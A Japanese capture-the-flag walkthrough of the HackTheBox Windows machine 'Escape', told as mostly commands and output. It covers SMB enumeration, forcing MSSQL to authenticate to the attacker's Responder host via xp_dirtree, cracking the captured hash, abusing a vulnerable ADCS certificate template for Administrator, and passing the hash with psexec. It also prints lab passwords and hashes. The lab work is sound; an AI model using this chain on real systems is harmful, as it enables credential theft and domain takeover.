HackTheBox Escape WriteUp

今回はHackTheBoxのMediumマシン「Escape」のWriteUpです！
Escape、、、エスケープ処理が攻略に関わってくるのでしょうか。
![スクリーンショット 2023-06-19 1.11.06.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/800c359e-d7ae-39fb-33d8-79c85ef5848f.png)
グラフはまさにMediumといった形になっていますが、今回のマシンはWindowsなので、Linuxとは異なる観点が必要です。攻略目指して頑張ります！

HackTheBoxってなに？という方はこちらの記事を見てみてください！一緒にハッキングしましょう！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## Escape

### 侵入

それでは、攻略を開始します。
まずは、いつものポートスキャンから行います。
```bash
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ sudo nmap -Pn -n -v --reason -sS -p- -sC --min-rate=1000 -A 10.10.11.202 -oN nmap.log

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2023-06-18 20:32:41Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.sequel.htb
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-06-18T20:34:22+00:00; +8h00m06s from scanner time.
| ssl-cert: Subject: commonName=dc.sequel.htb
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-06-18T20:34:22+00:00; +8h00m05s from scanner time.
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-06-18T20:34:22+00:00; +8h00m06s from scanner time.
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49687/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49688/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49705/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49709/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
55597/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
```
Windowsなので、大量にポートが出てます。
よく見てみると、「sequel.htb」というドメイン名が出力されています。hostsファイルに記載しておきましょう。


では、445番が開いていたので、smbを調査していきます。
アクセス可能な共有を発見できるでしょうか。
```bash
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ smbclient -N -L \\\\sequel.htb         

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        Public          Disk      
        SYSVOL          Disk      Logon server share 
SMB1 disabled -- no workgroup available
```
NO PASSでアクセス可能な共有が出力されました！
この中でも、Publicが気になります。Publicの中をさらに列挙していきます。
```bash
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ smbclient -N \\\\sequel.htb\\public  
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sat Nov 19 20:51:25 2022
  ..                                  D        0  Sat Nov 19 20:51:25 2022
  SQL Server Procedures.pdf           A    49551  Fri Nov 18 22:39:43 2022

                5184255 blocks of size 4096. 1474892 blocks available
```
PDFファイルを発見しました。SQLサーバの情報が書かれていそうです。
とりあえずローカルにダウンロードします。
```bash
smb: \> get "SQL Server Procedures.pdf"
getting file \SQL Server Procedures.pdf of size 49551 as SQL Server Procedures.pdf (50.4 KiloBytes/sec) (average 50.4 KiloBytes/sec)
```
ダウンロードできたら、内容を見てみましょう。
![スクリーンショット 2023-06-18 21.44.48.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/8272558e-f12b-c0b2-6353-2ca2951f17f7.png)
データベースのユーザ名とパスワードが記載されています！
impacket-mssqlclientを使用し、SQLへアクセスできるか試してみます。
```bash
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ impacket-mssqlclient sequel.htb/PublicUser:GuestUserCantWrite1@10.10.11.202
Impacket v0.10.1.dev1+20230120.195338.34229464 - Copyright 2022 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL>
```
SQLへアクセスできました！

### MSSQL
では、どのようなデータベースがあるかみてみましょう。
```bash
SQL> select name from master..sysdatabases;
name     
------   
master   
tempdb   
model    
msdb  
```
4つのデータベースを確認しましたが、これらは全てデフォルトのデータベースであり、特に情報はなさそうです。
どうやら、情報を取得するためにMSSQLを利用するわけではないようなので、他にできることを試します。

では、何をするかですが、まずはxp_cmdshellを使用しMSSQL経由でコマンドを実行できないか試します。
```bash
SQL> xp_cmdshell whoami
[-] ERROR(DC\SQLMOCK): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
```
コマンドを実行する権限がないようです。。
xp_cmdshellは諦めて、次に試すことはNet-NTLMv2を取得することです。Windowsは認証にNet-NTLMv2というチャレンジ/レスポンス認証プロトコルを使用しており、暗号化にユーザのパスワード/ハッシュを使用します。そのため、クラッキングによりパスワードが導き出せるかもしれません。Net-NTMLv2についての詳細は0xdfさんがとても分かりやすい記事を投稿されているので読んでみてください。

https://0xdf.gitlab.io/2019/01/13/getting-net-ntlm-hases-from-windows.html

つまり何がしたいかというと、MSSQLに再接続する際の通信をキャプチャすることでハッシュを取得し、ハッシュを解読することでパスワードを取得したいということです。
そのために、まずはKali側でResponderを開始します。
```bash
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ sudo responder -I tun0
```
待ち受けが完了したら、xp_dirtreeを実行し、通信を発生させます。
```bash
SQL> EXEC xp_dirtree '\\10.10.14.2\share'
```
xp_dirtreeを実行したら、Kali側で確認してみましょう。
```bash
[SMB] NTLMv2-SSP Client   : 10.10.11.202
[SMB] NTLMv2-SSP Username : sequel\sql_svc
[SMB] NTLMv2-SSP Hash     : sql_svc::sequel:3f0d0f1fd061d017:4DAFC24E35227B582054D177F0326A35:010100000000000000DCECE8D556D9011EB45AAC0DC55EBA000000000200080032005A003200460001001E00570049004E002D00370035004A003700460034004800300043004600390004003400570049004E002D00370035004A00370046003400480030004300460039002E0032005A00320046002E004C004F00430041004C000300140032005A00320046002E004C004F00430041004C000500140032005A00320046002E004C004F00430041004C000700080000DCECE8D556D901060004000200000008003000300000000000000000000000003000005F203CAC4EC7CA7A2148181ECDC38E1D510A6FBB4CDBFF35B5D4E7F7418CC3210A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E0036000000000000000000
```
sql_svcのハッシュが出力されています！
では、このハッシュに対してjohnを実行し、解読できるか試してみましょう。
```bash
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
REGGIE1234ronnie (sql_svc)     
1g 0:00:00:09 DONE (2023-03-15 00:40) 0.1018g/s 1089Kp/s 1089Kc/s 1089KC/s REINLY..REDMAN69
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
```
解読に成功しました！！

## sql_svcとしてのシェル

それでは、解読したパスワードを使用し、シェルを取得できるか試してみます。
```bash
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ evil-winrm -i 10.10.11.202 -u sql_svc -p REGGIE1234ronnie 

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\sql_svc\Documents> whoami
sequel\sql_svc
```
シェルの取得に成功しました！

### 横移動

sql_svcのデスクトップを確認してみます。
```bash
*Evil-WinRM* PS C:\Users\sql_svc\Desktop> dir
*Evil-WinRM* PS C:\Users\sql_svc\Desktop>
```
ユーザフラグが見当たりません。横移動が必要なようです。
とりあえず、どのようなユーザがいるか列挙しておきます。Usersディレクトリ内をみてみましょう。
```bash
*Evil-WinRM* PS C:\Users> dir


    Directory: C:\Users


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         2/7/2023   8:58 AM                Administrator
d-r---        7/20/2021  12:23 PM                Public
d-----         2/1/2023   6:37 PM                Ryan.Cooper
d-----         2/7/2023   8:10 AM                sql_svc
```
新たに、Ryan.Cooperユーザを発見しました。認証情報を取得したりして、シェルの取得を目指します。
では、どこから列挙を始めるかですが、今回のsql_svcユーザはSQLサーバに関するユーザなので、SQL関係のディレクトリやファイルから調査してみます。
```bash
*Evil-WinRM* PS C:\SQLServer> dir


    Directory: C:\SQLServer


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         2/7/2023   8:06 AM                Logs
d-----       11/18/2022   1:37 PM                SQLEXPR_2019
-a----       11/18/2022   1:35 PM        6379936 sqlexpress.exe
-a----       11/18/2022   1:36 PM      268090448 SQLEXPR_x64_ENU.exe
```
SQLServerディレクトリ内を見てみると、Logsやexeファイルを見つけました。まずは、Logsの中を見てみます。
```bash
*Evil-WinRM* PS C:\SQLServer\Logs> dir


    Directory: C:\SQLServer\Logs


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         2/7/2023   8:06 AM          27608 ERRORLOG.BAK
```
BAKファイルを確認しました。内容をみてみましょう。
```bash
*Evil-WinRM* PS C:\SQLServer\Logs> type ERRORLOG.BAK
2022-11-18 13:43:05.96 Server      Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
        Sep 24 2019 13:48:23
        Copyright (C) 2019 Microsoft Corporation
        Express Edition (64-bit) on Windows Server 2019 Standard Evaluation 10.0 <X64> (Build 17763: ) (Hypervisor)

2022-11-18 13:43:05.97 Server      UTC adjustment: -8:00
・・・
2022-11-18 13:43:07.44 Logon       Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.44 Logon       Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon       Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.48 Logon       Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.72 spid51      Attempting to load library 'xpstar.dll' into memory. This is an informational message only. No user action is required.
・・・
```
ログの内容が出力されました。よく見てみると、ログの終盤あたりにRyan.CooperとNuclearMosquito3というユーザがログインに失敗している記録が残っていることが分かります。Ryan.Cooperユーザは先ほど確認したユーザですが、NuclearMosquito3というユーザは確認できませんでした。存在しないユーザでログインすることは考えにくいのでかなり違和感があります。

## Ryan.Cooperとしてのシェル

ログをよく見てみると、RyanユーザとNuclearMosquito3というユーザのログインの時間が4秒ほどしか変わらないことが分かります。このことから私は、NuclearMosquito3はユーザ名ではなくパスワードであり、Ryanユーザログイン時に間違って入力してしまったのではないかという予想を立てました。
この予想が正しければRyanユーザとNuclearMosquito3というパスワードでシェルを取得できるはずです。
evil-winrmを試してみましょう。

```bash
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ evil-winrm -i 10.10.11.202 -u Ryan.Cooper -p NuclearMosquito3 

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> whoami
sequel\ryan.cooper
```
予想的中！パスワードとして機能し、シェルを取得できました！
```bash
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> dir


    Directory: C:\Users\Ryan.Cooper\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        6/18/2023   1:15 PM             34 user.txt
```
やっとユーザフラグを確認できました！

### 権限昇格

それでは、最後の関門である権限昇格に移っていきましょう。
まずは、グループを調べます。
```bash
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                  Type             SID          Attributes
=========================================== ================ ============ ==================================================
Everyone                                    Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access     Alias            S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448
```
特に気になるグループは見つかりません。
では、次はなにを列挙すべきでしょうか。。。

winpeasなど色々列挙を行いましたが、結果として今回は証明書が攻略の手掛かりでした。
まず、nmapの出力でもldapを確認できています。認証情報を取得してADCSを特定します。ADCSとはADの証明書サービスです。
```bash
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ crackmapexec ldap 10.10.11.202 -u ryan.cooper -p NuclearMosquito3 -M adcs
SMB         10.10.11.202    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
LDAPS       10.10.11.202    636    DC               [+] sequel.htb\ryan.cooper:NuclearMosquito3 
ADCS                                                Found PKI Enrollment Server: dc.sequel.htb
ADCS                                                Found CN: sequel-DC-CA
```
CNでsequel-DC-CAが使用されています。
それでは、Certify.exeを使用して、証明書に脆弱性がないか調べていきます。Certify.exeは下記のリポジトリからダウンロード可能です。

https://github.com/Flangvik/SharpCollection/tree/master/NetFramework_4.7_Any

ダウンロードできたら、実際にマシン側にuploadしていきます。
```bash
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> upload /home/kali/Desktop/HackTheBox/tool/Certify.exe 
Info: Uploading /home/kali/Desktop/HackTheBox/tool/Certify.exe to C:\Users\Ryan.Cooper\Desktop\Certify.exe                                                                                                                           

                                                             
Data: 232104 bytes of 232104 bytes copied

Info: Upload successful!
```
アップロードが完了したら、実行しましょう。
```bash
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> ./certify.exe find /vulnerable 

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./'
  v1.0.0

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=sequel,DC=htb'
```
大量の出力が見られますが、特に気になる部分は下記の情報です。
```bash
[!] Vulnerable Certificates Templates :

    CA Name                               : dc.sequel.htb\sequel-DC-CA
    Template Name                         : UserAuthentication
    Schema Version                        : 2
    Validity Period                       : 10 years
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : ENROLLEE_SUPPLIES_SUBJECT
    mspki-enrollment-flag                 : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Client Authentication, Encrypting File System, Secure Email
    mspki-certificate-application-policy  : Client Authentication, Encrypting File System, Secure Email
    Permissions
      Enrollment Permissions
        Enrollment Rights           : sequel\Domain Admins          S-1-5-21-4078382237-1492182817-2568127209-512
                                      sequel\Domain Users           S-1-5-21-4078382237-1492182817-2568127209-513
                                      sequel\Enterprise Admins      S-1-5-21-4078382237-1492182817-2568127209-519
      Object Control Permissions
        Owner                       : sequel\Administrator          S-1-5-21-4078382237-1492182817-2568127209-500
        WriteOwner Principals       : sequel\Administrator          S-1-5-21-4078382237-1492182817-2568127209-500
                                      sequel\Domain Admins          S-1-5-21-4078382237-1492182817-2568127209-512
                                      sequel\Enterprise Admins      S-1-5-21-4078382237-1492182817-2568127209-519
        WriteDacl Principals        : sequel\Administrator          S-1-5-21-4078382237-1492182817-2568127209-500
                                      sequel\Domain Admins          S-1-5-21-4078382237-1492182817-2568127209-512
                                      sequel\Enterprise Admins      S-1-5-21-4078382237-1492182817-2568127209-519
        WriteProperty Principals    : sequel\Administrator          S-1-5-21-4078382237-1492182817-2568127209-500
                                      sequel\Domain Admins          S-1-5-21-4078382237-1492182817-2568127209-512
                                      sequel\Enterprise Admins      S-1-5-21-4078382237-1492182817-2568127209-519
```
sequel\Domain Usersに証明書を作成できる権限があります。
これにより管理者の別名で証明書を要求し、権限昇格が行えるかもしれません。この手法に関しては、GhostPackのREADMEのシナリオ3でも紹介されています。

https://github.com/GhostPack/Certify

また、ここで確認しておく他の情報としては、テンプレート名です。これは証明書を要求するさいに指定する必要があります。
```bash
Template Name                         : UserAuthentication
```
テンプレート名はUserAuthenticationであり、ユーザを認証できることが分かりました。
追加で、msPKIのフラグも確認しておきます。
```bash
msPKI-Certificate-Name-Flag           : ENROLLEE_SUPPLIES_SUBJECT
```
ENROLLEE_SUPPLIES_SUBJECTとなっていることから管理者を代替名として利用できることが分かりました。

### ADCS VulnTemplate

では、シナリオ3を参考にしつつ、権限昇格を目指していきます。
まずは、管理者を代替名として使用し、証明書を要求します。
```bash
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Desktop> ./Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication
/altname:Administrator

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./'
  v1.0.0

・・・
[*] cert.pem         :

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA2nT4K5YQPsRjUpNsTRXF0Fy8OMYSHWPt5FxwtphIAwXTBpGa
AHlMRl0Jig0UaWNwwQc82jdaCJ1tLnYpPln4mNZZzpOd+265QnRctxyIXTn0x0t1
BixI0flI0WnaR4TChRkJbxdsvuRNuV356F6DxgihRUY57BPcWUJueUAqiHceT2yw
・・・
nJNCrQKBgAoKKF095CHLu9ggBA+1BJafHwwTj2YVLT1eaEReMtn4jGigTZMjaQF1
S4d8OeW/ORT3uFYTocxx401et4H41jpek+e5TkQDkKGVP87VM1/nyyxa6lHHbAp1
GjHAdMcN7O3dTvZE2aft0CR96MpmYeZYhnPraOr+gSBuoKVMfxI4
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGEjCCBPqgAwIBAgITHgAAAAq6D2XOXnDNkgAAAAAACjANBgkqhkiG9w0BAQsF
ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs
MRUwEwYDVQQDEwxzZXF1ZWwtREMtQ0EwHhcNMjMwNjE4MjMzNDQwWhcNMjUwNjE4
・・・
L61HuCK02Rmus3coS4cC0nCOVQMnrcrgK3NNZW6Q+9xTm5c4JwlAfbDYm3ui2fWf
JTPiJYMsJ8Rp6yPCxEy5rDDVgvihOs3fEJa40n3i2qj/z9mcaSFPa6y6kWqS2qwk
zFQam1GTmEweSfMd5H8plkwEEl3nuQqHxx3e5V2y/LApKYTH3w9HmCMzzDceKCSM
vfkn9sTbsHajP95cgo1Gr43MlFnM3g==
-----END CERTIFICATE-----

[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Certify completed in 00:00:12.8563060
```
証明書が出力されました。
出力された証明書をpfx形式に変換します。
```bash
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password:
Verifying - Enter Export Password:
```
変換できたので、あとはTGTを取得するだけです。ここでシナリオ3ではRubeusを使用しているのですが、証明書の権限昇格を調べていく上で、Certipyというツールの存在を知りました。下記のコマンドを実行することでダウンロードできます。
```bash
pip3 install certipy-ad
```
Certipyはリモート（Kali）からコマンドを実行できるため、マシン（Escape側）にアップロードする手間を省くことができます。さらに、オプションの指定も楽に行えるのでおすすめです。
では、Certipyを使用し、TGTを取得していきます。
```bash
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ certipy auth -pfx cert.pfx -dc-ip 10.10.11.202 -username Administrator -domain sequel.htb
Certipy v4.3.0 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
```
エラーが出てしまいました。clock skew too greatと出力されているので、時間に問題があるのでしょうか。
調べてみると、時計の時刻に違いがあることから生じるエラーのようです。ntpdateを実行することでエラーを解消できます。
```bash
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ sudo ntpdate 10.10.11.202
2023-03-18 02:46:51.313223 (+0900) +28799.641502 +/- 0.105183 10.10.11.202 s1 no-leap
CLOCK: time stepped by 28799.641502
```
ntpdateが実行できたので、再度Certipyを実行しましょう。
```bash
┌──(kali㉿kali)-[~/Desktop/Escape]
└─$ certipy auth -pfx cert.pfx -dc-ip 10.10.11.202 -username Administrator -domain sequel.htb -debug
Certipy v4.3.0 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee
```
NTLMハッシュの取得に成功しました！

## rootとしてのシェル

それでは、ハッシュを使用してシェルを取得しましょう！
```bash
┌──(kali㉿kali)-[~]
└─$ impacket-psexec sequel.htb/Administrator@10.10.11.202 -hashes aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee
Impacket v0.10.1.dev1+20230120.195338.34229464 - Copyright 2022 Fortra

[*] Requesting shares on 10.10.11.202.....
[*] Found writable share ADMIN$
[*] Uploading file uxyWLMjW.exe
[*] Opening SVCManager on 10.10.11.202.....
[*] Creating service CQNw on 10.10.11.202.....
[*] Starting service CQNw.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2746]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system
```
権限昇格に成功しました！
```bash
C:\Users\Administrator\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is EB33-4140

 Directory of C:\Users\Administrator\Desktop

02/06/2023  04:43 PM    <DIR>          .
02/06/2023  04:43 PM    <DIR>          ..
06/18/2023  01:15 PM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   6,022,668,288 bytes free
```
フラグも取得し、完全攻略達成です！！

### 攻略を終えて

今回のマシンはWindowsということもあり、Googleで調べる時間がかなり多かったです。特にMSSQLでのハッシュの取得は初めての経験であり、失敗して調べて失敗して調べての繰り返しでした笑
権限昇格も同じような感じで、調べる時間が多かったです。やはりWindowsは権限昇格を理解するのが非常に難しいと改めて思いました。今回はVulnTemplateで証明書の登録権限があることで管理者を代替名にした権限昇格が可能でしたが、同じ登録権限でもテンプレートに応じて複数のシナリオがありました。臨機応変に対応できるよう色々な手法をさらに勉強する必要があると痛感しました。
全体を通してMediumと言われれば納得です。Ryanユーザに関してはログにそのまま情報が載っていました。難しい部分もあれば簡単な部分もあったのでちょうどいいバランスだったと思います。
今後もHackTheBoxに関する記事を投稿していくので見ていただけると嬉しいです。
最後まで閲覧していただきありがとうございました！！